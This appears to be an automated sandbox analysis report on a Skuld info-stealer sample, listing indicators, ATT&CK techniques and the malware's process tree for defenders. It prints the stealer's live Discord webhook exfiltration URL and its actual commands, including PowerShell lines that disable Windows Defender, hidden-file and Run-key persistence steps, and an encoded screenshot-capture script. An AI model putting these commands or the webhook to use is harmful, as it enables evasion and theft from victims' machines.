skuld | 4e90ecd2cd56ee99511c63b870a8c9b613a63f87dbfb08bef90fd55cf3d81475

Analysis

max time kernel
147s
max time network
122s
platform
windows7_x64
resource
win7-20250207-en
resource tags

arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
submitted
15-02-2025 11:24

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General

Target

malw.exe
Size

9.1MB
MD5

3175713b9849fd658f591fcc05005c1c
SHA1

b005779ebdfa85dba12f7e0857904b24ef0f21a4
SHA256

92097313c2c5240fb78cc69f4be139ad9ee60284b57acccb58afae86b8b93226
SHA512

4426b081c883939125df3606d4fc1fb56aae11fa09b39660b19aa31d788c655c30aa88d52c1ae79495cfdc2bce88602ecf25880729f329ca2bbc53a57132ca36
SSDEEP

98304:YkHMD+5Ix59169zvQBf/8sH58OOuRhELuXjIhtoBW:DH5Ix591kE/8sH58tuRiCAoB

Score

10^/10

skuld defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1285808008127053927/bnNxBQO1Briav8yFpyPkDylQRl3agJyrCHMbWTiXHOKqC8ls42WjuC8zOyowOhBS19nF

Signatures

Skuld family
skuld
Skuld stealer
An info stealer written in Go lang.
stealer skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2972	powershell.exe
2892	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	malw.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	malw.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	discord.com
4	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1028	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2484	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	7	Go-http-client/1.1

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	malw.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	malw.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
2972	powershell.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
2892	powershell.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe
1724	malw.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1724	malw.exe
Token: SeIncreaseQuotaPrivilege	1728	wmic.exe
Token: SeSecurityPrivilege	1728	wmic.exe
Token: SeTakeOwnershipPrivilege	1728	wmic.exe
Token: SeLoadDriverPrivilege	1728	wmic.exe
Token: SeSystemProfilePrivilege	1728	wmic.exe
Token: SeSystemtimePrivilege	1728	wmic.exe
Token: SeProfSingleProcessPrivilege	1728	wmic.exe
Token: SeIncBasePriorityPrivilege	1728	wmic.exe
Token: SeCreatePagefilePrivilege	1728	wmic.exe
Token: SeBackupPrivilege	1728	wmic.exe
Token: SeRestorePrivilege	1728	wmic.exe
Token: SeShutdownPrivilege	1728	wmic.exe
Token: SeDebugPrivilege	1728	wmic.exe
Token: SeSystemEnvironmentPrivilege	1728	wmic.exe
Token: SeRemoteShutdownPrivilege	1728	wmic.exe
Token: SeUndockPrivilege	1728	wmic.exe
Token: SeManageVolumePrivilege	1728	wmic.exe
Token: 33	1728	wmic.exe
Token: 34	1728	wmic.exe
Token: 35	1728	wmic.exe
Token: SeIncreaseQuotaPrivilege	1728	wmic.exe
Token: SeSecurityPrivilege	1728	wmic.exe
Token: SeTakeOwnershipPrivilege	1728	wmic.exe
Token: SeLoadDriverPrivilege	1728	wmic.exe
Token: SeSystemProfilePrivilege	1728	wmic.exe
Token: SeSystemtimePrivilege	1728	wmic.exe
Token: SeProfSingleProcessPrivilege	1728	wmic.exe
Token: SeIncBasePriorityPrivilege	1728	wmic.exe
Token: SeCreatePagefilePrivilege	1728	wmic.exe
Token: SeBackupPrivilege	1728	wmic.exe
Token: SeRestorePrivilege	1728	wmic.exe
Token: SeShutdownPrivilege	1728	wmic.exe
Token: SeDebugPrivilege	1728	wmic.exe
Token: SeSystemEnvironmentPrivilege	1728	wmic.exe
Token: SeRemoteShutdownPrivilege	1728	wmic.exe
Token: SeUndockPrivilege	1728	wmic.exe
Token: SeManageVolumePrivilege	1728	wmic.exe
Token: 33	1728	wmic.exe
Token: 34	1728	wmic.exe
Token: 35	1728	wmic.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeIncreaseQuotaPrivilege	2860	wmic.exe
Token: SeSecurityPrivilege	2860	wmic.exe
Token: SeTakeOwnershipPrivilege	2860	wmic.exe
Token: SeLoadDriverPrivilege	2860	wmic.exe
Token: SeSystemProfilePrivilege	2860	wmic.exe
Token: SeSystemtimePrivilege	2860	wmic.exe
Token: SeProfSingleProcessPrivilege	2860	wmic.exe
Token: SeIncBasePriorityPrivilege	2860	wmic.exe
Token: SeCreatePagefilePrivilege	2860	wmic.exe
Token: SeBackupPrivilege	2860	wmic.exe
Token: SeRestorePrivilege	2860	wmic.exe
Token: SeShutdownPrivilege	2860	wmic.exe
Token: SeDebugPrivilege	2860	wmic.exe
Token: SeSystemEnvironmentPrivilege	2860	wmic.exe
Token: SeRemoteShutdownPrivilege	2860	wmic.exe
Token: SeUndockPrivilege	2860	wmic.exe
Token: SeManageVolumePrivilege	2860	wmic.exe
Token: 33	2860	wmic.exe
Token: 34	2860	wmic.exe
Token: 35	2860	wmic.exe
Token: SeIncreaseQuotaPrivilege	2860	wmic.exe
Token: SeSecurityPrivilege	2860	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 1728	1724	malw.exe	31
PID 1724 wrote to memory of 1728	1724	malw.exe	31
PID 1724 wrote to memory of 1728	1724	malw.exe	31
PID 1724 wrote to memory of 2972	1724	malw.exe	32
PID 1724 wrote to memory of 2972	1724	malw.exe	32
PID 1724 wrote to memory of 2972	1724	malw.exe	32
PID 1724 wrote to memory of 2860	1724	malw.exe	34
PID 1724 wrote to memory of 2860	1724	malw.exe	34
PID 1724 wrote to memory of 2860	1724	malw.exe	34
PID 1724 wrote to memory of 2892	1724	malw.exe	35
PID 1724 wrote to memory of 2892	1724	malw.exe	35
PID 1724 wrote to memory of 2892	1724	malw.exe	35
PID 1724 wrote to memory of 2884	1724	malw.exe	36
PID 1724 wrote to memory of 2884	1724	malw.exe	36
PID 1724 wrote to memory of 2884	1724	malw.exe	36
PID 1724 wrote to memory of 2484	1724	malw.exe	37
PID 1724 wrote to memory of 2484	1724	malw.exe	37
PID 1724 wrote to memory of 2484	1724	malw.exe	37
PID 1724 wrote to memory of 2872	1724	malw.exe	38
PID 1724 wrote to memory of 2872	1724	malw.exe	38
PID 1724 wrote to memory of 2872	1724	malw.exe	38
PID 1724 wrote to memory of 2704	1724	malw.exe	40
PID 1724 wrote to memory of 2704	1724	malw.exe	40
PID 1724 wrote to memory of 2704	1724	malw.exe	40
PID 1724 wrote to memory of 1968	1724	malw.exe	41
PID 1724 wrote to memory of 1968	1724	malw.exe	41
PID 1724 wrote to memory of 1968	1724	malw.exe	41
PID 1724 wrote to memory of 1028	1724	malw.exe	42
PID 1724 wrote to memory of 1028	1724	malw.exe	42
PID 1724 wrote to memory of 1028	1724	malw.exe	42
PID 1724 wrote to memory of 2996	1724	malw.exe	43
PID 1724 wrote to memory of 2996	1724	malw.exe	43
PID 1724 wrote to memory of 2996	1724	malw.exe	43
PID 2996 wrote to memory of 2940	2996	powershell.exe	44
PID 2996 wrote to memory of 2940	2996	powershell.exe	44
PID 2996 wrote to memory of 2940	2996	powershell.exe	44

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2884	attrib.exe
2872	attrib.exe
2704	attrib.exe

C:\Users\Admin\AppData\Local\Temp\malw.exe
"C:\Users\Admin\AppData\Local\Temp\malw.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\malw.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2892
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2884
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2484
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2872
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2704
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:1968
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xaujn0ta.cmdline"
    3⤵
    PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.1MB

MD5
3175713b9849fd658f591fcc05005c1c

SHA1
b005779ebdfa85dba12f7e0857904b24ef0f21a4

SHA256
92097313c2c5240fb78cc69f4be139ad9ee60284b57acccb58afae86b8b93226

SHA512
4426b081c883939125df3606d4fc1fb56aae11fa09b39660b19aa31d788c655c30aa88d52c1ae79495cfdc2bce88602ecf25880729f329ca2bbc53a57132ca36

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
406d3706739b26f8714b466f3dca1584

SHA1
aaca5e2d953336bc462bbc9f07193c57fd4613b5

SHA256
c9f9cb2b6946f039724988b2819ce22bcc269d67c91e34ed48b91913a1e9f12e

SHA512
38b0504db288d636f16c835a0c3ea41543039c47a97dfe14b183bf93ac3eca1202cf12cfdfc181201bd4e022c82edb1e61b5dfa702706c5c3865b92b43240263

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
29637f421cb5eb9a9008b5b091823270

SHA1
8bb0b01ef0035a029c4ba8f6814db41fba1e716a

SHA256
d3925354d35ce50360d165ece7ab2d44ee49a7aaac7f297ad8f2192249432a46

SHA512
08a1efeaf082525439af8abfb117d3473ab23da5a4db276bdb49eb4a62db8ae2e14e6333c897753a22855a3c45beb413c3eafc98c2a46142c75297ce4d563665

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xaujn0ta.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xaujn0ta.cmdline

Filesize
509B

MD5
086d3d2ca3a2eab66824d767423a33a4

SHA1
18fedf866e866a67b0012d3cd330baae5cc9d0d6

SHA256
5a2e1fbc94f3bb5bebfb17a9dd825572240f4027fd9f976baae12f7630262421

SHA512
a8e191ac58d593b92d4a621301b31269bd01c03ac4abbddb0662988452cff643ff29ec0015476a4cb666e95e9ad3e26fcc5963a31466e8f859a303d5067debe9

Download Submit
memory/2892-23-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2892-22-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2972-12-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2972-4-0x000007FEF5ADE000-0x000007FEF5ADF000-memory.dmp

Filesize
4KB

Download
memory/2972-11-0x0000000002DEB000-0x0000000002E52000-memory.dmp

Filesize
412KB

Download
memory/2972-10-0x0000000002DE4000-0x0000000002DE7000-memory.dmp

Filesize
12KB

Download
memory/2972-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2972-6-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2972-47-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2996-35-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2996-46-0x0000000002DA0000-0x0000000002DD2000-memory.dmp

Filesize
200KB

Download
memory/2996-45-0x0000000002DA0000-0x0000000002DD2000-memory.dmp

Filesize
200KB

Download